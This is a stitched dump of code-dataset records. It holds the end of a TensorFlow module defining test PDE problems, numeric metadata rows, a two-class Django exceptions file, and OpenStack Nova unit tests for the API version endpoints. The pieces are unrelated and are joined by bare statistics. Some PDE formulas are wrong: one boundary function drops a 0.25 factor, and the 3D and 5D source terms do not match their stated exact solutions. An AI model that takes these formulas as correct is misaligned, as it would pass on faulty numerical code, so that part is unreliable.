ux_right = lambda x, y: tf.exp(-right_top) * (tf.pow(y, 3) + 1.0 * right_top)
uy_bottom = lambda x, y: tf.exp(-x) * (tf.pow(left_bottom, 3) + x)
uy_top = lambda x, y: tf.exp(-x) * (tf.pow(right_top, 3) + x)
return f_side, u_true, ux_left, ux_right, uy_bottom, uy_top
elif equa_name == 'PDE2':
f_side = lambda x, y: (-1.0)*tf.sin(np.pi*x) * (2 - np.square(np.pi)*tf.square(y))
u_true = lambda x, y: tf.square(y)*tf.sin(np.pi*x)
ux_left = lambda x, y: tf.square(y) * tf.sin(np.pi * left_bottom)
ux_right = lambda x, y: tf.square(y) * tf.sin(np.pi * right_top)
uy_bottom = lambda x, y: tf.square(left_bottom) * tf.sin(np.pi * x)
uy_top = lambda x, y: tf.square(right_top) * tf.sin(np.pi * x)
return f_side, u_true, ux_left, ux_right, uy_bottom, uy_top
elif equa_name == 'PDE3':
# u=exp(x+y), f = -2*exp(x+y)
f_side = lambda x, y: -2.0*(tf.exp(x)*tf.exp(y))
u_true = lambda x, y: tf.exp(x)*tf.exp(y)
ux_left = lambda x, y: tf.multiply(tf.exp(y), tf.exp(left_bottom))
ux_right = lambda x, y: tf.multiply(tf.exp(y), tf.exp(right_top))
uy_bottom = lambda x, y: tf.multiply(tf.exp(x), tf.exp(left_bottom))
uy_top = lambda x, y: tf.multiply(tf.exp(x), tf.exp(right_top))
return f_side, u_true, ux_left, ux_right, uy_bottom, uy_top
elif equa_name == 'PDE4':
# u=(1/4)*(x^2+y^2), f = -1
f_side = lambda x, y: -1.0*tf.ones_like(x)
u_true = lambda x, y: 0.25*(tf.pow(x, 2)+tf.pow(y, 2))
ux_left = lambda x, y: 0.25 * tf.pow(y, 2) + 0.25 * tf.pow(left_bottom, 2)
ux_right = lambda x, y: 0.25 * tf.pow(y, 2) + 0.25 * tf.pow(right_top, 2)
uy_bottom = lambda x, y: 0.25 * tf.pow(x, 2) + 0.25 * tf.pow(left_bottom, 2)
uy_top = lambda x, y: 0.25 * tf.pow(x, 2) + 0.25 * tf.pow(right_top, 2)
return f_side, u_true, ux_left, ux_right, uy_bottom, uy_top
elif equa_name == 'PDE5':
# u=(1/4)*(x^2+y^2)+x+y, f = -1
f_side = lambda x, y: -1.0*tf.ones_like(x)
u_true = lambda x, y: 0.25*(tf.pow(x, 2)+tf.pow(y, 2)) + x + y
ux_left = lambda x, y: 0.25 * tf.pow(y, 2) + 0.25 * tf.pow(left_bottom, 2) + left_bottom + y
ux_right = lambda x, y: 0.25 * tf.pow(y, 2) + 0.25 * tf.pow(right_top, 2) + right_top + y
uy_bottom = lambda x, y: 0.25 * tf.pow(x, 2) + tf.pow(left_bottom, 2) + left_bottom + x
uy_top = lambda x, y: 0.25 * tf.pow(x, 2) + 0.25 * tf.pow(right_top, 2) + right_top + x
return f_side, u_true, ux_left, ux_right, uy_bottom, uy_top
elif equa_name == 'PDE6':
# u=(1/2)*(x^2)*(y^2), f = -(x^2+y^2)
f_side = lambda x, y: -1.0*(tf.pow(x, 2)+tf.pow(y, 2))
u_true = lambda x, y: 0.5 * (tf.pow(x, 2) * tf.pow(y, 2))
ux_left = lambda x, y: 0.5 * (tf.pow(left_bottom, 2) * tf.pow(y, 2))
ux_right = lambda x, y: 0.5 * (tf.pow(right_top, 2) * tf.pow(y, 2))
uy_bottom = lambda x, y: 0.5 * (tf.pow(x, 2) * tf.pow(left_bottom, 2))
uy_top = lambda x, y: 0.5 * (tf.pow(x, 2) * tf.pow(right_top, 2))
return f_side, u_true, ux_left, ux_right, uy_bottom, uy_top
elif equa_name == 'PDE7':
# u=(1/2)*(x^2)*(y^2)+x+y, f = -(x^2+y^2)
f_side = lambda x, y: -1.0*(tf.pow(x, 2)+tf.pow(y, 2))
u_true = lambda x, y: 0.5*(tf.pow(x, 2)*tf.pow(y, 2)) + x*tf.ones_like(x) + y*tf.ones_like(y)
ux_left = lambda x, y: 0.5 * tf.multiply(tf.pow(left_bottom, 2), tf.pow(y, 2)) + left_bottom + y
ux_right = lambda x, y: 0.5 * tf.multiply(tf.pow(right_top, 2), tf.pow(y, 2)) + right_top + y
uy_bottom = lambda x, y: 0.5 * tf.multiply(tf.pow(x, 2), tf.pow(left_bottom, 2)) + x + left_bottom
uy_top = lambda x, y: 0.5 * tf.multiply(tf.pow(x, 2), tf.pow(right_top, 2)) + x + right_top
return f_side, u_true, ux_left, ux_right, uy_bottom, uy_top
# 偏微分方程的一些信息:边界条件，初始条件，真解，右端项函数
def get_infos2Laplace_3D(input_dim=1, out_dim=1, intervalL=0.0, intervalR=1.0, equa_name=None):
if equa_name == 'PDE1':
# -Laplace U = f
# u=sin(pi*x)*sin(pi*y)*sin(pi*z), f=-pi*pi*sin(pi*x)*sin(pi*y)*sin(pi*z)
fside = lambda x, y, z: -(np.pi)*(np.pi)*tf.sin(np.pi*x)
utrue = lambda x, y, z: tf.sin(np.pi*x)*tf.sin(np.pi*y)*tf.sin(np.pi*z)
u_00 = lambda x, y, z: tf.sin(np.pi*intervalL)*tf.sin(np.pi*y)*tf.sin(np.pi*z)
u_01 = lambda x, y, z: tf.sin(np.pi*intervalR)*tf.sin(np.pi*y)*tf.sin(np.pi*z)
u_10 = lambda x, y, z: tf.sin(np.pi*x)*tf.sin(np.pi*intervalL)*tf.sin(np.pi*z)
u_11 = lambda x, y, z: tf.sin(np.pi*x)*tf.sin(np.pi*intervalR)*tf.sin(np.pi*z)
u_20 = lambda x, y, z: tf.sin(np.pi*x)*tf.sin(np.pi*y)*tf.sin(np.pi*intervalL)
u_21 = lambda x, y, z: tf.sin(np.pi*x)*tf.sin(np.pi*y)*tf.sin(np.pi*intervalR)
return fside, utrue, u_00, u_01, u_10, u_11, u_20, u_21
# 偏微分方程的一些信息:边界条件，初始条件，真解，右端项函数
def get_infos2Laplace_5D(input_dim=1, out_dim=1, intervalL=0.0, intervalR=1.0, equa_name=None):
if equa_name == 'PDE1':
# u=sin(pi*x), f=-pi*pi*sin(pi*x)
fside = lambda x, y, z, s, t: -(np.pi)*(np.pi)*tf.sin(np.pi*x)
utrue = lambda x, y, z, s, t: tf.sin(np.pi*x)*tf.sin(np.pi*y)*tf.sin(np.pi*z)*tf.sin(np.pi*s)*tf.sin(np.pi*t)
u_00 = lambda x, y, z, s, t: tf.sin(np.pi*intervalL)*tf.sin(np.pi*y)*tf.sin(np.pi*z)*tf.sin(np.pi*s)*tf.sin(np.pi*t)
u_01 = lambda x, y, z, s, t: tf.sin(np.pi*intervalR)*tf.sin(np.pi*y)*tf.sin(np.pi*z)*tf.sin(np.pi*s)*tf.sin(np.pi*t)
u_10 = lambda x, y, z, s, t: tf.sin(np.pi * x) * tf.sin(np.pi * intervalL) * tf.sin(np.pi * z) * tf.sin(np.pi * s) * tf.sin(np.pi * t)
u_11 = lambda x, y, z, s, t: tf.sin(np.pi * x) * tf.sin(np.pi * intervalR) * tf.sin(np.pi * z) * tf.sin(np.pi * s) * tf.sin(np.pi * t)
u_20 = lambda x, y, z, s, t: tf.sin(np.pi * x) * tf.sin(np.pi * y) * tf.sin(np.pi * intervalL) * tf.sin(np.pi * s) * tf.sin(np.pi * t)
u_21 = lambda x, y, z, s, t: tf.sin(np.pi * x) * tf.sin(np.pi * y) * tf.sin(np.pi * intervalR) * tf.sin(np.pi * s) * tf.sin(np.pi * t)
u_30 = lambda x, y, z, s, t: tf.sin(np.pi * x) * tf.sin(np.pi * y) * tf.sin(np.pi * z) * tf.sin(np.pi * intervalL) * tf.sin(np.pi * t)
u_31 = lambda x, y, z, s, t: tf.sin(np.pi * x) * tf.sin(np.pi * y) * tf.sin(np.pi * z) * tf.sin(np.pi * intervalR) * tf.sin(np.pi * t)
u_40 = lambda x, y, z, s, t: tf.sin(np.pi * x) * tf.sin(np.pi * y) * tf.sin(np.pi * z) * tf.sin(np.pi * s) * tf.sin(np.pi * intervalL)
u_41 = lambda x, y, z, s, t: tf.sin(np.pi * x) * tf.sin(np.pi * y) * tf.sin(np.pi * z) * tf.sin(np.pi * s) * tf.sin(np.pi * intervalR)
return fside, utrue, u_00, u_01, u_10, u_11, u_20, u_21, u_30, u_31, u_40, u_41
| 63.096774
| 143
| 0.55432
| 1,655
| 7,824
| 2.505136
| 0.05136
| 0.091655
| 0.148577
| 0.191028
| 0.930777
| 0.905933
| 0.865171
| 0.841052
| 0.740232
| 0.687168
| 0
| 0.046492
| 0.238497
| 7,824
| 124
| 144
| 63.096774
| 0.649379
| 0.057771
| 0
| 0.163043
| 0
| 0
| 0.005529
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.043478
| false
| 0
| 0.021739
| 0
| 0.173913
| 0
| 0
| 0
| 0
| null | 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
1483df347ce938353325c6a9a2bc8e1504d6338b
| 205
|
py
|
Python
|
django-web-parser/keywords/exceptions.py
|
sterenczak-marek/django-web-parser
|
6e4b5bd34a9fe0c6908edf701a3c254cafd275bf
|
[
"MIT"
] | null | null | null |
django-web-parser/keywords/exceptions.py
|
sterenczak-marek/django-web-parser
|
6e4b5bd34a9fe0c6908edf701a3c254cafd275bf
|
[
"MIT"
] | null | null | null |
django-web-parser/keywords/exceptions.py
|
sterenczak-marek/django-web-parser
|
6e4b5bd34a9fe0c6908edf701a3c254cafd275bf
|
[
"MIT"
] | null | null | null |
class NoKeywordsException(Exception):
"""Website does not contains any keywords in <meta> tag"""
pass
class BadURLException(Exception):
"""Website does not exists in a given URL"""
pass
| 20.5
| 62
| 0.697561
| 25
| 205
| 5.72
| 0.72
| 0.223776
| 0.27972
| 0.321678
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.204878
| 205
| 9
| 63
| 22.777778
| 0.877301
| 0.443902
| 0
| 0.5
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0.5
| 0
| 0
| 0.5
| 0
| 1
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| 0
| 0
| 0
|
0
| 7
|
1ae3789d9a407a1791c52cadab2be9771586c06c
| 34,383
|
py
|
Python
|
nova/tests/api/openstack/test_versions.py
|
armaan/nova
|
22859fccb95502efcb73ecf2bd827c45c0886bd3
|
[
"Apache-2.0"
] | null | null | null |
nova/tests/api/openstack/test_versions.py
|
armaan/nova
|
22859fccb95502efcb73ecf2bd827c45c0886bd3
|
[
"Apache-2.0"
] | null | null | null |
nova/tests/api/openstack/test_versions.py
|
armaan/nova
|
22859fccb95502efcb73ecf2bd827c45c0886bd3
|
[
"Apache-2.0"
] | null | null | null |
# vim: tabstop=4 shiftwidth=4 softtabstop=4
# Copyright 2010-2011 OpenStack LLC.
# All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
# License for the specific language governing permissions and limitations
# under the License.
import feedparser
import json
import stubout
import webob
from lxml import etree
from nova import context
from nova import test
from nova.api.openstack import versions
from nova.api.openstack import views
from nova.api.openstack import wsgi
from nova.api.openstack import xmlutil
from nova.tests.api.openstack import common
from nova.tests.api.openstack import fakes
NS = {
'atom': 'http://www.w3.org/2005/Atom',
'ns': 'http://docs.openstack.org/compute/api/v1.1'
}
VERSIONS = {
"v1.0": {
"id": "v1.0",
"status": "DEPRECATED",
"updated": "2011-01-21T11:33:21Z",
"links": [
{
"rel": "describedby",
"type": "application/pdf",
"href": "http://docs.rackspacecloud.com/"
"servers/api/v1.0/cs-devguide-20110125.pdf",
},
{
"rel": "describedby",
"type": "application/vnd.sun.wadl+xml",
"href": "http://docs.rackspacecloud.com/"
"servers/api/v1.0/application.wadl",
},
],
"media-types": [
{
"base": "application/xml",
"type": "application/vnd.openstack.compute-v1.0+xml",
},
{
"base": "application/json",
"type": "application/vnd.openstack.compute-v1.0+json",
},
],
},
"v1.1": {
"id": "v1.1",
"status": "CURRENT",
"updated": "2011-01-21T11:33:21Z",
"links": [
{
"rel": "describedby",
"type": "application/pdf",
"href": "http://docs.rackspacecloud.com/"
"servers/api/v1.1/cs-devguide-20110125.pdf",
},
{
"rel": "describedby",
"type": "application/vnd.sun.wadl+xml",
"href": "http://docs.rackspacecloud.com/"
"servers/api/v1.1/application.wadl",
},
],
"media-types": [
{
"base": "application/xml",
"type": "application/vnd.openstack.compute-v1.1+xml",
},
{
"base": "application/json",
"type": "application/vnd.openstack.compute-v1.1+json",
},
],
},
}
class VersionsTest(test.TestCase):
def setUp(self):
super(VersionsTest, self).setUp()
self.context = context.get_admin_context()
self.stubs = stubout.StubOutForTesting()
fakes.stub_out_auth(self.stubs)
#Stub out VERSIONS
self.old_versions = versions.VERSIONS
versions.VERSIONS = VERSIONS
def tearDown(self):
versions.VERSIONS = self.old_versions
super(VersionsTest, self).tearDown()
def test_get_version_list(self):
req = webob.Request.blank('/')
req.accept = "application/json"
res = req.get_response(fakes.wsgi_app())
self.assertEqual(res.status_int, 200)
self.assertEqual(res.content_type, "application/json")
versions = json.loads(res.body)["versions"]
expected = [
{
"id": "v1.0",
"status": "DEPRECATED",
"updated": "2011-01-21T11:33:21Z",
"links": [
{
"rel": "self",
"href": "http://localhost/v1.0/",
}],
},
{
"id": "v1.1",
"status": "CURRENT",
"updated": "2011-01-21T11:33:21Z",
"links": [
{
"rel": "self",
"href": "http://localhost/v1.1/",
}],
},
]
self.assertEqual(versions, expected)
def test_get_version_1_0_detail(self):
req = webob.Request.blank('/v1.0/')
req.accept = "application/json"
res = req.get_response(fakes.wsgi_app())
self.assertEqual(res.status_int, 200)
self.assertEqual(res.content_type, "application/json")
version = json.loads(res.body)
expected = {
"version": {
"id": "v1.0",
"status": "DEPRECATED",
"updated": "2011-01-21T11:33:21Z",
"links": [
{
"rel": "self",
"href": "http://localhost/v1.0/",
},
{
"rel": "describedby",
"type": "application/pdf",
"href": "http://docs.rackspacecloud.com/"
"servers/api/v1.0/cs-devguide-20110125.pdf",
},
{
"rel": "describedby",
"type": "application/vnd.sun.wadl+xml",
"href": "http://docs.rackspacecloud.com/"
"servers/api/v1.0/application.wadl",
},
],
"media-types": [
{
"base": "application/xml",
"type": "application/"
"vnd.openstack.compute-v1.0+xml",
},
{
"base": "application/json",
"type": "application/"
"vnd.openstack.compute-v1.0+json",
},
],
},
}
self.assertEqual(expected, version)
def test_get_version_1_1_detail(self):
req = webob.Request.blank('/v1.1/')
req.accept = "application/json"
res = req.get_response(fakes.wsgi_app())
self.assertEqual(res.status_int, 200)
self.assertEqual(res.content_type, "application/json")
version = json.loads(res.body)
expected = {
"version": {
"id": "v1.1",
"status": "CURRENT",
"updated": "2011-01-21T11:33:21Z",
"links": [
{
"rel": "self",
"href": "http://localhost/v1.1/",
},
{
"rel": "describedby",
"type": "application/pdf",
"href": "http://docs.rackspacecloud.com/"
"servers/api/v1.1/cs-devguide-20110125.pdf",
},
{
"rel": "describedby",
"type": "application/vnd.sun.wadl+xml",
"href": "http://docs.rackspacecloud.com/"
"servers/api/v1.1/application.wadl",
},
],
"media-types": [
{
"base": "application/xml",
"type": "application/"
"vnd.openstack.compute-v1.1+xml",
},
{
"base": "application/json",
"type": "application/"
"vnd.openstack.compute-v1.1+json",
},
],
},
}
self.assertEqual(expected, version)
def test_get_version_1_0_detail_xml(self):
req = webob.Request.blank('/v1.0/')
req.accept = "application/xml"
res = req.get_response(fakes.wsgi_app())
self.assertEqual(res.status_int, 200)
self.assertEqual(res.content_type, "application/xml")
version = etree.XML(res.body)
xmlutil.validate_schema(version, 'version')
expected = VERSIONS['v1.0']
self.assertTrue(version.xpath('/ns:version', namespaces=NS))
media_types = version.xpath('ns:media-types/ns:media-type',
namespaces=NS)
self.assertTrue(common.compare_media_types(media_types,
expected['media-types']))
for key in ['id', 'status', 'updated']:
self.assertEqual(version.get(key), expected[key])
links = version.xpath('atom:link', namespaces=NS)
self.assertTrue(common.compare_links(links,
[{'rel': 'self', 'href': 'http://localhost/v1.0/'}]
+ expected['links']))
def test_get_version_1_1_detail_xml(self):
req = webob.Request.blank('/v1.1/')
req.accept = "application/xml"
res = req.get_response(fakes.wsgi_app())
self.assertEqual(res.status_int, 200)
self.assertEqual(res.content_type, "application/xml")
version = etree.XML(res.body)
xmlutil.validate_schema(version, 'version')
expected = VERSIONS['v1.1']
self.assertTrue(version.xpath('/ns:version', namespaces=NS))
media_types = version.xpath('ns:media-types/ns:media-type',
namespaces=NS)
self.assertTrue(common.compare_media_types(media_types,
expected['media-types']))
for key in ['id', 'status', 'updated']:
self.assertEqual(version.get(key), expected[key])
links = version.xpath('atom:link', namespaces=NS)
self.assertTrue(common.compare_links(links,
[{'rel': 'self', 'href': 'http://localhost/v1.1/'}]
+ expected['links']))
def test_get_version_list_xml(self):
req = webob.Request.blank('/')
req.accept = "application/xml"
res = req.get_response(fakes.wsgi_app())
self.assertEqual(res.status_int, 200)
self.assertEqual(res.content_type, "application/xml")
root = etree.XML(res.body)
print res.body
xmlutil.validate_schema(root, 'versions')
self.assertTrue(root.xpath('/ns:versions', namespaces=NS))
versions = root.xpath('ns:version', namespaces=NS)
self.assertEqual(len(versions), 2)
for i, v in enumerate(['v1.0', 'v1.1']):
version = versions[i]
expected = VERSIONS[v]
for key in ['id', 'status', 'updated']:
self.assertEqual(version.get(key), expected[key])
(link,) = version.xpath('atom:link', namespaces=NS)
self.assertTrue(common.compare_links(link,
[{'rel': 'self', 'href': 'http://localhost/%s/' % v}]))
def test_get_version_1_0_detail_atom(self):
req = webob.Request.blank('/v1.0/')
req.accept = "application/atom+xml"
res = req.get_response(fakes.wsgi_app())
self.assertEqual(res.status_int, 200)
self.assertEqual("application/atom+xml", res.content_type)
xmlutil.validate_schema(etree.XML(res.body), 'atom')
f = feedparser.parse(res.body)
self.assertEqual(f.feed.title, 'About This Version')
self.assertEqual(f.feed.updated, '2011-01-21T11:33:21Z')
self.assertEqual(f.feed.id, 'http://localhost/v1.0/')
self.assertEqual(f.feed.author, 'Rackspace')
self.assertEqual(f.feed.author_detail.href,
'http://www.rackspace.com/')
self.assertEqual(f.feed.links[0]['href'], 'http://localhost/v1.0/')
self.assertEqual(f.feed.links[0]['rel'], 'self')
self.assertEqual(len(f.entries), 1)
entry = f.entries[0]
self.assertEqual(entry.id, 'http://localhost/v1.0/')
self.assertEqual(entry.title, 'Version v1.0')
self.assertEqual(entry.updated, '2011-01-21T11:33:21Z')
self.assertEqual(len(entry.content), 1)
self.assertEqual(entry.content[0].value,
'Version v1.0 DEPRECATED (2011-01-21T11:33:21Z)')
self.assertEqual(len(entry.links), 3)
self.assertEqual(entry.links[0]['href'], 'http://localhost/v1.0/')
self.assertEqual(entry.links[0]['rel'], 'self')
self.assertEqual(entry.links[1], {
'href': 'http://docs.rackspacecloud.com/servers/api/v1.0/'\
'cs-devguide-20110125.pdf',
'type': 'application/pdf',
'rel': 'describedby'})
self.assertEqual(entry.links[2], {
'href': 'http://docs.rackspacecloud.com/servers/api/v1.0/'\
'application.wadl',
'type': 'application/vnd.sun.wadl+xml',
'rel': 'describedby'})
def test_get_version_1_1_detail_atom(self):
req = webob.Request.blank('/v1.1/')
req.accept = "application/atom+xml"
res = req.get_response(fakes.wsgi_app())
self.assertEqual(res.status_int, 200)
self.assertEqual("application/atom+xml", res.content_type)
xmlutil.validate_schema(etree.XML(res.body), 'atom')
f = feedparser.parse(res.body)
self.assertEqual(f.feed.title, 'About This Version')
self.assertEqual(f.feed.updated, '2011-01-21T11:33:21Z')
self.assertEqual(f.feed.id, 'http://localhost/v1.1/')
self.assertEqual(f.feed.author, 'Rackspace')
self.assertEqual(f.feed.author_detail.href,
'http://www.rackspace.com/')
self.assertEqual(f.feed.links[0]['href'], 'http://localhost/v1.1/')
self.assertEqual(f.feed.links[0]['rel'], 'self')
self.assertEqual(len(f.entries), 1)
entry = f.entries[0]
self.assertEqual(entry.id, 'http://localhost/v1.1/')
self.assertEqual(entry.title, 'Version v1.1')
self.assertEqual(entry.updated, '2011-01-21T11:33:21Z')
self.assertEqual(len(entry.content), 1)
self.assertEqual(entry.content[0].value,
'Version v1.1 CURRENT (2011-01-21T11:33:21Z)')
self.assertEqual(len(entry.links), 3)
self.assertEqual(entry.links[0]['href'], 'http://localhost/v1.1/')
self.assertEqual(entry.links[0]['rel'], 'self')
self.assertEqual(entry.links[1], {
'href': 'http://docs.rackspacecloud.com/servers/api/v1.1/'\
'cs-devguide-20110125.pdf',
'type': 'application/pdf',
'rel': 'describedby'})
self.assertEqual(entry.links[2], {
'href': 'http://docs.rackspacecloud.com/servers/api/v1.1/'\
'application.wadl',
'type': 'application/vnd.sun.wadl+xml',
'rel': 'describedby'})
def test_get_version_list_atom(self):
req = webob.Request.blank('/')
req.accept = "application/atom+xml"
res = req.get_response(fakes.wsgi_app())
self.assertEqual(res.status_int, 200)
self.assertEqual(res.content_type, "application/atom+xml")
f = feedparser.parse(res.body)
self.assertEqual(f.feed.title, 'Available API Versions')
self.assertEqual(f.feed.updated, '2011-01-21T11:33:21Z')
self.assertEqual(f.feed.id, 'http://localhost/')
self.assertEqual(f.feed.author, 'Rackspace')
self.assertEqual(f.feed.author_detail.href,
'http://www.rackspace.com/')
self.assertEqual(f.feed.links[0]['href'], 'http://localhost/')
self.assertEqual(f.feed.links[0]['rel'], 'self')
self.assertEqual(len(f.entries), 2)
entry = f.entries[0]
self.assertEqual(entry.id, 'http://localhost/v1.0/')
self.assertEqual(entry.title, 'Version v1.0')
self.assertEqual(entry.updated, '2011-01-21T11:33:21Z')
self.assertEqual(len(entry.content), 1)
self.assertEqual(entry.content[0].value,
'Version v1.0 DEPRECATED (2011-01-21T11:33:21Z)')
self.assertEqual(len(entry.links), 1)
self.assertEqual(entry.links[0]['href'], 'http://localhost/v1.0/')
self.assertEqual(entry.links[0]['rel'], 'self')
entry = f.entries[1]
self.assertEqual(entry.id, 'http://localhost/v1.1/')
self.assertEqual(entry.title, 'Version v1.1')
self.assertEqual(entry.updated, '2011-01-21T11:33:21Z')
self.assertEqual(len(entry.content), 1)
self.assertEqual(entry.content[0].value,
'Version v1.1 CURRENT (2011-01-21T11:33:21Z)')
self.assertEqual(len(entry.links), 1)
self.assertEqual(entry.links[0]['href'], 'http://localhost/v1.1/')
self.assertEqual(entry.links[0]['rel'], 'self')
def test_multi_choice_image(self):
req = webob.Request.blank('/images/1')
req.accept = "application/json"
res = req.get_response(fakes.wsgi_app())
self.assertEqual(res.status_int, 300)
self.assertEqual(res.content_type, "application/json")
expected = {
"choices": [
{
"id": "v1.1",
"status": "CURRENT",
"links": [
{
"href": "http://localhost/v1.1/images/1",
"rel": "self",
},
],
"media-types": [
{
"base": "application/xml",
"type": "application/vnd.openstack.compute-v1.1+xml"
},
{
"base": "application/json",
"type": "application/vnd.openstack.compute-v1.1+json"
},
],
},
{
"id": "v1.0",
"status": "DEPRECATED",
"links": [
{
"href": "http://localhost/v1.0/images/1",
"rel": "self",
},
],
"media-types": [
{
"base": "application/xml",
"type": "application/vnd.openstack.compute-v1.0+xml"
},
{
"base": "application/json",
"type": "application/vnd.openstack.compute-v1.0+json"
},
],
},
], }
self.assertDictMatch(expected, json.loads(res.body))
def test_multi_choice_image_xml(self):
req = webob.Request.blank('/images/1')
req.accept = "application/xml"
res = req.get_response(fakes.wsgi_app())
self.assertEqual(res.status_int, 300)
self.assertEqual(res.content_type, "application/xml")
root = etree.XML(res.body)
self.assertTrue(root.xpath('/ns:choices', namespaces=NS))
versions = root.xpath('ns:version', namespaces=NS)
self.assertEqual(len(versions), 2)
version = versions[0]
self.assertEqual(version.get('id'), 'v1.1')
self.assertEqual(version.get('status'), 'CURRENT')
media_types = version.xpath('ns:media-types/ns:media-type',
namespaces=NS)
self.assertTrue(common.compare_media_types(media_types,
VERSIONS['v1.1']['media-types']))
links = version.xpath('atom:link', namespaces=NS)
self.assertTrue(common.compare_links(links,
[{'rel': 'self', 'href': 'http://localhost/v1.1/images/1'}]))
version = versions[1]
self.assertEqual(version.get('id'), 'v1.0')
self.assertEqual(version.get('status'), 'DEPRECATED')
media_types = version.xpath('ns:media-types/ns:media-type',
namespaces=NS)
self.assertTrue(common.compare_media_types(media_types,
VERSIONS['v1.0']['media-types']))
links = version.xpath('atom:link', namespaces=NS)
self.assertTrue(common.compare_links(links,
[{'rel': 'self', 'href': 'http://localhost/v1.0/images/1'}]))
def test_multi_choice_server_atom(self):
"""
Make sure multi choice responses do not have content-type
application/atom+xml (should use default of json)
"""
req = webob.Request.blank('/servers/2')
req.accept = "application/atom+xml"
res = req.get_response(fakes.wsgi_app())
self.assertEqual(res.status_int, 300)
self.assertEqual(res.content_type, "application/json")
def test_multi_choice_server(self):
req = webob.Request.blank('/servers/2')
req.accept = "application/json"
res = req.get_response(fakes.wsgi_app())
self.assertEqual(res.status_int, 300)
self.assertEqual(res.content_type, "application/json")
expected = {
"choices": [
{
"id": "v1.1",
"status": "CURRENT",
"links": [
{
"href": "http://localhost/v1.1/servers/2",
"rel": "self",
},
],
"media-types": [
{
"base": "application/xml",
"type": "application/vnd.openstack.compute-v1.1+xml"
},
{
"base": "application/json",
"type": "application/vnd.openstack.compute-v1.1+json"
},
],
},
{
"id": "v1.0",
"status": "DEPRECATED",
"links": [
{
"href": "http://localhost/v1.0/servers/2",
"rel": "self",
},
],
"media-types": [
{
"base": "application/xml",
"type": "application/vnd.openstack.compute-v1.0+xml"
},
{
"base": "application/json",
"type": "application/vnd.openstack.compute-v1.0+json"
},
],
},
], }
self.assertDictMatch(expected, json.loads(res.body))
class VersionsViewBuilderTests(test.TestCase):
def test_view_builder(self):
base_url = "http://example.org/"
version_data = {
"v3.2.1": {
"id": "3.2.1",
"status": "CURRENT",
"updated": "2011-07-18T11:30:00Z",
}
}
expected = {
"versions": [
{
"id": "3.2.1",
"status": "CURRENT",
"updated": "2011-07-18T11:30:00Z",
"links": [
{
"rel": "self",
"href": "http://example.org/3.2.1/",
},
],
}
]
}
builder = views.versions.ViewBuilder(base_url)
output = builder.build_versions(version_data)
self.assertEqual(output, expected)
def test_generate_href(self):
base_url = "http://example.org/app/"
version_number = "v1.4.6"
expected = "http://example.org/app/v1.4.6/"
builder = views.versions.ViewBuilder(base_url)
actual = builder.generate_href(version_number)
self.assertEqual(actual, expected)
class VersionsSerializerTests(test.TestCase):
def test_versions_list_xml_serializer(self):
versions_data = {
'versions': [
{
"id": "2.7.1",
"updated": "2011-07-18T11:30:00Z",
"status": "DEPRECATED",
"links": [
{
"rel": "self",
"href": "http://test/2.7.1",
},
],
},
]
}
serializer = versions.VersionsXMLSerializer()
response = serializer.index(versions_data)
root = etree.XML(response)
xmlutil.validate_schema(root, 'versions')
self.assertTrue(root.xpath('/ns:versions', namespaces=NS))
version_elems = root.xpath('ns:version', namespaces=NS)
self.assertEqual(len(version_elems), 1)
version = version_elems[0]
self.assertEqual(version.get('id'), versions_data['versions'][0]['id'])
self.assertEqual(version.get('status'),
versions_data['versions'][0]['status'])
(link,) = version.xpath('atom:link', namespaces=NS)
self.assertTrue(common.compare_links(link, [{
'rel': 'self',
'href': 'http://test/2.7.1',
'type': 'application/atom+xml'}]))
def test_versions_multi_xml_serializer(self):
versions_data = {
'choices': [
{
"id": "2.7.1",
"updated": "2011-07-18T11:30:00Z",
"status": "DEPRECATED",
"media-types": VERSIONS['v1.1']['media-types'],
"links": [
{
"rel": "self",
"href": "http://test/2.7.1/images",
},
],
},
]
}
serializer = versions.VersionsXMLSerializer()
response = serializer.multi(versions_data)
root = etree.XML(response)
self.assertTrue(root.xpath('/ns:choices', namespaces=NS))
(version,) = root.xpath('ns:version', namespaces=NS)
self.assertEqual(version.get('id'), versions_data['choices'][0]['id'])
self.assertEqual(version.get('status'),
versions_data['choices'][0]['status'])
media_types = list(version)[0]
media_type_nodes = list(media_types)
self.assertEqual(media_types.tag.split('}')[1], "media-types")
media_types = version.xpath('ns:media-types/ns:media-type',
namespaces=NS)
self.assertTrue(common.compare_media_types(media_types,
versions_data['choices'][0]['media-types']))
(link,) = version.xpath('atom:link', namespaces=NS)
self.assertTrue(common.compare_links(link,
versions_data['choices'][0]['links']))
def test_version_detail_xml_serializer(self):
version_data = {
"version": {
"id": "v1.0",
"status": "CURRENT",
"updated": "2011-01-21T11:33:21Z",
"links": [
{
"rel": "self",
"href": "http://localhost/v1.0/",
},
{
"rel": "describedby",
"type": "application/pdf",
"href": "http://docs.rackspacecloud.com/"
"servers/api/v1.0/cs-devguide-20110125.pdf",
},
{
"rel": "describedby",
"type": "application/vnd.sun.wadl+xml",
"href": "http://docs.rackspacecloud.com/"
"servers/api/v1.0/application.wadl",
},
],
"media-types": [
{
"base": "application/xml",
"type": "application/vnd.openstack.compute-v1.0+xml",
},
{
"base": "application/json",
"type": "application/vnd.openstack.compute-v1.0+json",
},
],
},
}
serializer = versions.VersionsXMLSerializer()
response = serializer.show(version_data)
root = etree.XML(response)
self.assertEqual(root.tag.split('}')[1], "version")
self.assertEqual(root.tag.split('}')[0].strip('{'), wsgi.XMLNS_V11)
children = list(root)
media_types = children[0]
media_type_nodes = list(media_types)
links = (children[1], children[2], children[3])
